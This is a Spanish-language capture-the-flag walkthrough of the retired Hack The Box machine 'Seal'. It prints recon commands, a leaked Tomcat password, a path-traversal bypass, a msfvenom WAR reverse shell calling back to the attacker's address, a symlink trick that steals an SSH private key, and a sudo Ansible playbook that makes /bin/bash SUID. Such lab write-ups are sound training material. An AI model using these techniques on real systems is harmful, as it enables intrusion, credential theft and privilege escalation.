Maquina Retirada Seal de Hack The Box (Necesario VIP)
Seal ~ Hack The Box
Realizamos el Primer escaneo con Nmap
$" nmap -p- --open -sS --min-rate 4000 -vvv -n -Pn -oG allports 10.10.10.250 "
Procedemos con el siguiente escaneo de Nmap
# Nmap 7.91 scan initiated Tue Jul 20 17:30:18 2021 as: nmap -sC -sV -p22,443,8080 -oN target 10.10.10.250
Nmap scan report for 10.10.10.250
Host is up (0.053s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
| 256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_ 256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Not valid before: 2021-05-05T10:24:03
|_Not valid after: 2022-05-05T10:24:03
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
8080/tcp open http-proxy
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 401 Unauthorized
| Date: Tue, 20 Jul 2021 15:30:27 GMT
| Set-Cookie: JSESSIONID=node01kw6b4gn2hivrrjdvhvjra7472.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 0
| GetRequest:
| HTTP/1.1 401 Unauthorized
| Date: Tue, 20 Jul 2021 15:30:26 GMT
| Set-Cookie: JSESSIONID=node0p0sfk1cil6371sqzhr3m9qphz0.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 0
| HTTPOptions:
| HTTP/1.1 200 OK
| Date: Tue, 20 Jul 2021 15:30:27 GMT
| Set-Cookie: JSESSIONID=node01wl1o9iqo05a51uao83w56od331.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Allow: GET,HEAD,POST,OPTIONS
| Content-Length: 0
| RPCCheck:
| HTTP/1.1 400 Illegal character OTEXT=0x80
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 71
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
| RTSPRequest:
| HTTP/1.1 505 Unknown Version
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 58
| Connection: close
| <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
| Socks4:
| HTTP/1.1 400 Illegal character CNTL=0x4
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 69
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x4</pre>
| Socks5:
| HTTP/1.1 400 Illegal character CNTL=0x5
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 69
| Connection: close
|_ <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x5</pre>
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.91%I=7%D=7/20%Time=60F6EC11%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,F4,"HTTP/1\.1\x20401\x20Unauthorized\r\nDate:\x20Tue,\x2020\x2
SF:0Jul\x202021\x2015:30:26\x20GMT\r\nSet-Cookie:\x20JSESSIONID=node0p0sfk
SF:1cil6371sqzhr3m9qphz0\.node0;\x20Path=/;\x20HttpOnly\r\nExpires:\x20Thu
SF:,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nContent-Type:\x20text/html
SF:;charset=utf-8\r\nContent-Length:\x200\r\n\r\n")%r(HTTPOptions,109,"HTT
SF:P/1\.1\x20200\x20OK\r\nDate:\x20Tue,\x2020\x20Jul\x202021\x2015:30:27\x
SF:20GMT\r\nSet-Cookie:\x20JSESSIONID=node01wl1o9iqo05a51uao83w56od331\.no
SF:de0;\x20Path=/;\x20HttpOnly\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x2
SF:000:00:00\x20GMT\r\nContent-Type:\x20text/html;charset=utf-8\r\nAllow:\
SF:x20GET,HEAD,POST,OPTIONS\r\nContent-Length:\x200\r\n\r\n")%r(RTSPReques
SF:t,AD,"HTTP/1\.1\x20505\x20Unknown\x20Version\r\nContent-Type:\x20text/h
SF:tml;charset=iso-8859-1\r\nContent-Length:\x2058\r\nConnection:\x20close
SF:\r\n\r\n<h1>Bad\x20Message\x20505</h1><pre>reason:\x20Unknown\x20Versio
SF:n</pre>")%r(FourOhFourRequest,F4,"HTTP/1\.1\x20401\x20Unauthorized\r\nD
SF:ate:\x20Tue,\x2020\x20Jul\x202021\x2015:30:27\x20GMT\r\nSet-Cookie:\x20
SF:JSESSIONID=node01kw6b4gn2hivrrjdvhvjra7472\.node0;\x20Path=/;\x20HttpOn
SF:ly\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nConte
SF:nt-Type:\x20text/html;charset=utf-8\r\nContent-Length:\x200\r\n\r\n")%r
SF:(Socks5,C3,"HTTP/1\.1\x20400\x20Illegal\x20character\x20CNTL=0x5\r\nCon
SF:tent-Type:\x20text/html;charset=iso-8859-1\r\nContent-Length:\x2069\r\n
SF:Connection:\x20close\r\n\r\n<h1>Bad\x20Message\x20400</h1><pre>reason:\
SF:x20Illegal\x20character\x20CNTL=0x5</pre>")%r(Socks4,C3,"HTTP/1\.1\x204
SF:00\x20Illegal\x20character\x20CNTL=0x4\r\nContent-Type:\x20text/html;ch
SF:arset=iso-8859-1\r\nContent-Length:\x2069\r\nConnection:\x20close\r\n\r
SF:\n<h1>Bad\x20Message\x20400</h1><pre>reason:\x20Illegal\x20character\x2
SF:0CNTL=0x4</pre>")%r(RPCCheck,C7,"HTTP/1\.1\x20400\x20Illegal\x20charact
SF:er\x20OTEXT=0x80\r\nContent-Type:\x20text/html;charset=iso-8859-1\r\nCo
SF:ntent-Length:\x2071\r\nConnection:\x20close\r\n\r\n<h1>Bad\x20Message\x
SF:20400</h1><pre>reason:\x20Illegal\x20character\x20OTEXT=0x80</pre>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Identificamos un dominio que introducimos al fichero /etc/hosts
–> seal.htb
Procedemos a fuzzear la web en buscar de directorios interesantes
# wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt https://seal.htb/FUZZ 2 ⨯ 1 ⚙
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: https://seal.htb/FUZZ
Total requests: 207630
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000003: 302 0 L 0 W 0 Ch "images"
000000001: 200 518 L 1140 W 19737 Ch "https://seal.htb/"
000000243: 302 0 L 0 W 0 Ch "admin"
000000530: 302 0 L 0 W 0 Ch "css"
000000426: 302 0 L 0 W 0 Ch "icon"
000000907: 302 0 L 0 W 0 Ch "js"
000004562: 302 0 L 0 W 0 Ch "manager"
Vemos que tenemos bastantes directorios chequeamos manualmente para ver los recursos, y encontramos un 403 Forbidden
Procedemos a seguir FUzzeando por el directorio encontrado manager
# wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt https://seal.htb/manager/FUZZ 130 ⨯ 1 ⚙
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: https://seal.htb/manager/FUZZ
Total requests: 207630
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 302 0 L 0 W 0 Ch "https://seal.htb/manager/"
000000003: 302 0 L 0 W 0 Ch "images"
000000079: 403 7 L 10 W 162 Ch "html"
000000324: 401 63 L 291 W 2499 Ch "text"
000000733: 401 63 L 291 W 2499 Ch "status"
Comprobando los subdirectorios para el recurso manager
encontramos un panel login en la ruta /manager/status
Probamos credenciales por defecto y vemos que no optenemos acceso.
Encontramos la version del Tomcat en la siguiente ruta https://10.10.10.250/admin/
Procedemos a enumerar el servicio http-proxy
por el puerto 8080
y nos encontramos otro panel de Login donde nos podemos Registrar, nos registramos y accedemos
http://seal.htb:8080/signin;jsessionid=node01ihai0hk4uf3tuf205qlxevix0.node0?redirect=%2F
Procedemos a Registrarnos y al entrar vemos que estamos ante un GitBucket
, se parece mucho a Github
encuanto a estructuras de archivos.
Procedemos a Apuntar a la ruta del proyecto de root/seal_market
, encontramos tres directorios:
"* app *"
"* nginx *"
"* tomcat *"
" Readme.md "
Procedemos a meternos en los directorios app, nginx, tomcat
como vemos que podemos visualizar los recursos de los CMS pensamos que podriamos encontrar algun archivo interesante
con credenciales en texto claro. Procedemos a buscar por los ultimos commits para cada recurso
Damos con el Last Commit
tomcat/tomcat-users.xml
<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
<user username="role1" password="<must-be-changed>" roles="role1"/>
-->
<user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>
</tomcat-users>
Encontramos este archivo con la password y user para el tomcat
Procedemos a intentar loggearnos en el otro login en la direccion https://seal.htb/manager/status
Conseguimos acceso con las Credenciales obtenidas, procedemos a intentar listar las aplicaciones del Tomcat y vemos que recibimos un 403 Forbiden
Buscando info sobre como podemos hacer para listar la Apliccaciones del Tomcat disponibles
encontramos este recurso que nos indica una posible forma de hacerlo.
https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/
La forma
https://10.10.10.250/manager/status/..;/html/
Ahora para ganar acceso a la maquina victima, en los CMS Tomcat podemos subir un archivo .war
malicioso
.
# msfvenom -p java/jsp_shell_reverse_tcp lhost=10.10.16.7 lport=443 -f war > setenso.war 35 ⨯ 1 ⚙
Payload size: 1083 bytes
Final size of war file: 1083 bytes
Una vez tenemos el archivo creado, vamos a intentar subirlo. Nos vamos a donde pone WAR file to deploy
y procedemos a intentar subir el archivo
https://10.10.10.250/manager/html/upload;jsessionid=30996A6436CBB5E16EE0296121D0CCA8?org.apache.catalina.filters.CSRF_NONCE=B68A395DF24E8D8C6E14811F6E50C638
403 FORBIDDEN
Vale vemos que tenemos un problema porque la url como veiamos no nos funciona correctamente /manager/html/upload
en esta seccion. Nos abrimos burpsuite para cambiar esta parte
a manager/status/..;/html/upload
y subir el archivo correctamente.
POST /manager/status/..;/html/upload;jsessionid=30996A6436CBB5E16EE0296121D0CCA8?org.apache.catalina.filters.CSRF_NONCE=B68A395DF24E8D8C6E14811F6E50C638 HTTP/1.1
Lo conseguimos subir correctamente. Procedo a ponerme una session con nc -vlnp 443
a la escucha para recibir la conexion entrante.
# nc -vlnp 443 2 ⚙
listening on [any] 443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.10.250] 56870
whoami
tomcat
Procedemos a realizar el tratamiento de la shell como siempre. Procedemos a enumerar el sistema en busca de la flag.
tomcat@seal:/home/luis$ cat user.txt
cat: user.txt: Permission denied
Vemos que tenemos que saltar del user tomcat al user Luis.
tomcat@seal:/home/luis$ find / -group luis -type f 2>/dev/null
/opt/backups/archives/backup-2021-11-14-10:56:33.gz
/opt/backups/archives/backup-2021-11-14-10:55:33.gz
/opt/backups/playbook/run.ym
Enumerando encontramos en la ruta /opt/backups/
archivos que pertenecen al user Luis, se pone interesante.
vemos que parece que hay una tarea CRON ejecutando cada cierto tiempo backups en el directorio de antes.
Por eso mismo y para confirmarlo subimos el pspy32s
para verficar si efectivamente tenemos una tarea Cron ejecutandose.
2021/11/14 11:01:01 CMD: UID=0 PID=16861 | /usr/sbin/CRON -f
2021/11/14 11:01:01 CMD: UID=0 PID=16862 | /bin/sh -c sleep 30 && sudo -u luis /usr/bin/ansible-playbook /opt/backups/playbook/run.yml
2021/11/14 11:01:01 CMD: UID=0 PID=16863 | sleep 30
2021/11/14 11:01:31 CMD: UID=0 PID=16876 | sudo -u luis /usr/bin/ansible-playbook /opt/backups/playbook/run.yml
Procedemos a investigar esos ficheros de backups
file backup-2021-11-14-11\:05\:32.gz
backup-2021-11-14-11:05:32.gz: gzip compressed data, was "backup-2021-11-14-11:05:32", last modified: Sun Nov 14 11:05:33 2021, max compression, original size modulo 2^32 1617920
Procedemos a apuntar al script que se ejecuta para realizar las tareas de Backups
tomcat@seal:/opt/backups/archives$ cat /usr/bin/ansible-playbook
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.
# PYTHON_ARGCOMPLETE_OK
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
__requires__ = ['ansible']
import errno
import os
import shutil
import sys
import traceback
from ansible import context
from ansible.errors import AnsibleError, AnsibleOptionsError, AnsibleParserError
from ansible.module_utils._text import to_text
# Used for determining if the system is running a new enough python version
# and should only restrict on our documented minimum versions
_PY3_MIN = sys.version_info[:2] >= (3, 5)
_PY2_MIN = (2, 6) <= sys.version_info[:2] < (3,)
_PY_MIN = _PY3_MIN or _PY2_MIN
if not _PY_MIN:
raise SystemExit('ERROR: Ansible requires a minimum of Python2 version 2.6 or Python3 version 3.5. Current version: %s' % ''.join(sys.version.splitlines()))
class LastResort(object):
# OUTPUT OF LAST RESORT
def display(self, msg, log_only=None):
print(msg, file=sys.stderr)
def error(self, msg, wrap_text=None):
print(msg, file=sys.stderr)
if __name__ == '__main__':
display = LastResort()
try: # bad ANSIBLE_CONFIG or config options can force ugly stacktrace
import ansible.constants as C
from ansible.utils.display import Display
except AnsibleOptionsError as e:
display.error(to_text(e), wrap_text=False)
sys.exit(5)
cli = None
me = os.path.basename(sys.argv[0])
try:
display = Display()
display.debug("starting run")
sub = None
target = me.split('-')
if target[-1][0].isdigit():
# Remove any version or python version info as downstreams
# sometimes add that
target = target[:-1]
if len(target) > 1:
sub = target[1]
myclass = "%sCLI" % sub.capitalize()
elif target[0] == 'ansible':
sub = 'adhoc'
myclass = 'AdHocCLI'
else:
raise AnsibleError("Unknown Ansible alias: %s" % me)
try:
mycli = getattr(__import__("ansible.cli.%s" % sub, fromlist=[myclass]), myclass)
except ImportError as e:
# ImportError members have changed in py3
if 'msg' in dir(e):
msg = e.msg
else:
msg = e.message
if msg.endswith(' %s' % sub):
raise AnsibleError("Ansible sub-program not implemented: %s" % me)
else:
raise
b_ansible_dir = os.path.expanduser(os.path.expandvars(b"~/.ansible"))
try:
os.mkdir(b_ansible_dir, 0o700)
except OSError as exc:
if exc.errno != errno.EEXIST:
display.warning("Failed to create the directory '%s': %s"
% (to_text(b_ansible_dir, errors='surrogate_or_replace'),
to_text(exc, errors='surrogate_or_replace')))
else:
display.debug("Created the '%s' directory" % to_text(b_ansible_dir, errors='surrogate_or_replace'))
try:
args = [to_text(a, errors='surrogate_or_strict') for a in sys.argv]
except UnicodeError:
display.error('Command line args are not in utf-8, unable to continue. Ansible currently only understands utf-8')
display.display(u"The full traceback was:\n\n%s" % to_text(traceback.format_exc()))
exit_code = 6
else:
cli = mycli(args)
exit_code = cli.run()
except AnsibleOptionsError as e:
cli.parser.print_help()
display.error(to_text(e), wrap_text=False)
exit_code = 5
except AnsibleParserError as e:
display.error(to_text(e), wrap_text=False)
exit_code = 4
# TQM takes care of these, but leaving comment to reserve the exit codes
# except AnsibleHostUnreachable as e:
# display.error(str(e))
# exit_code = 3
# except AnsibleHostFailed as e:
# display.error(str(e))
# exit_code = 2
except AnsibleError as e:
display.error(to_text(e), wrap_text=False)
exit_code = 1
except KeyboardInterrupt:
display.error("User interrupted execution")
exit_code = 99
except Exception as e:
if C.DEFAULT_DEBUG:
# Show raw stacktraces in debug mode, It also allow pdb to
# enter post mortem mode.
raise
have_cli_options = bool(context.CLIARGS)
display.error("Unexpected Exception, this is probably a bug: %s" % to_text(e), wrap_text=False)
if not have_cli_options or have_cli_options and context.CLIARGS['verbosity'] > 2:
log_only = False
if hasattr(e, 'orig_exc'):
display.vvv('\nexception type: %s' % to_text(type(e.orig_exc)))
why = to_text(e.orig_exc)
if to_text(e) != why:
display.vvv('\noriginal msg: %s' % why)
else:
display.display("to see the full traceback, use -vvv")
log_only = True
display.display(u"the full traceback was:\n\n%s" % to_text(traceback.format_exc()), log_only=log_only)
exit_code = 250
sys.exit(exit_code)
Analizando el codigo vemos que que tira de uan wildcard a la hora de ejecutarse y del user luis. De que archivos esta haciendo el backup?? que permisos tienen esos archivos?
Solucion, encontramos que la carpeta UPLOADS
se puede modificar por nosotros(otros) y asi podriamos hacer que el directorio tenga un enlace simbolico al directorio .ssh
del user Luis
y si tenemos suerte y encontramos una id_rsa, en el directorio Uploads
en el siguiente backup probaremos a conectarnos por SSH.
Nos movemos a donde estan los recursos que se comprimen en el backup
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard$ pwd
/var/lib/tomcat9/webapps/ROOT/admin/dashboard
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard$ ls -l
total 92
drwxr-xr-x 5 root root 4096 Mar 7 2015 bootstrap
drwxr-xr-x 2 root root 4096 Mar 7 2015 css
drwxr-xr-x 4 root root 4096 Mar 7 2015 images
-rw-r--r-- 1 root root 71744 May 6 2021 index.html
drwxr-xr-x 4 root root 4096 Mar 7 2015 scripts
drwxrwxrwx 2 root root 4096 May 7 2021 uploads
Procedemos con el enlace simbolico
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard$ ln -s /home/luis/.ssh/ uploads/
Ahora procedemos a descomprimir el siguiente backup y en el directorio uploads encontraremos .ssh
# pwd
/HTB/Intentando/Seal/content/dashboard/uploads
# ls -la
total 12
drwx------ 3 root root 4096 nov 13 15:45 .
drwx------ 3 root root 4096 nov 13 21:26 ..
drwx------ 2 root root 4096 nov 13 15:45 .ssh
# ls -l .ssh
total 12
-rw-r--r-- 1 root root 563 nov 13 15:45 authorized_keys
-rw------- 1 root root 2590 nov 13 15:45 id_rsa
-rw-r--r-- 1 root root 563 nov 13 15:45 id_rsa.pub
Procedemos a darle permisos 600 al id_rsa
# ssh -i id_rsa luis@10.10.10.250
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun 14 Nov 2021 11:27:14 AM UTC
System load: 0.0 Processes: 171
Usage of /: 47.1% of 9.58GB Users logged in: 0
Memory usage: 28% IPv4 address for eth0: 10.10.10.250
Swap usage: 0%
* Pure upstream Kubernetes 1.21, smallest, simplest cluster ops!
https://microk8s.io/
22 updates can be applied immediately.
15 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Fri May 7 07:00:18 2021 from 10.10.14.2
luis@seal:~$
Y nos conectamos por SSH
como el user Luis
luis@seal:~$ sudo -l
Matching Defaults entries for luis on seal:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User luis may run the following commands on seal:
(ALL) NOPASSWD: /usr/bin/ansible-playbook *
Privesc to Root
Procedemos a crearnos un archivo .yml malicioso
que cuando ejecutemos el /usr/bin/ansible-playbook nos injeccte un comando malicioso
como el user ROOT
luis@seal:/dev/shm$ cat setenso.yml
- name: Check the remote host uptime
hosts: localhost
tasks:
- name: Execute the Uptime command over Command module
command: "chmod +s /bin/bash"
Y procedemos a ejecutarlo
luis@seal:/dev/shm$ nano setenso.yml
luis@seal:/dev/shm$ sudo -u root /usr/bin/ansible-playbook setenso.yml
[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'
PLAY [Check the remote host uptime] ********************************************************************************************************************************************************************************
TASK [Gathering Facts] *********************************************************************************************************************************************************************************************
ok: [localhost]
TASK [Execute the Uptime command over Command module] **************************************************************************************************************************************************************
[WARNING]: Consider using the file module with mode rather than running 'chmod'. If you need to use command because file is insufficient you can add 'warn: false' to this command task or set
'command_warnings=False' in ansible.cfg to get rid of this message.
changed: [localhost]
PLAY RECAP *********************************************************************************************************************************************************************************************************
localhost : ok=2 changed=1 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
Comprobamos que nos a injectado el comando
luis@seal:/dev/shm$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1183448 Jun 18 2020 /bin/bash
Procedemos a spawnearnos una shell con el comando bash -p
luis@seal:/dev/shm$ bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
0a7a7226295a7axxxxxxxxxxxxxxxxxxxxxx
Maquina Rooteada =D K0 H4ck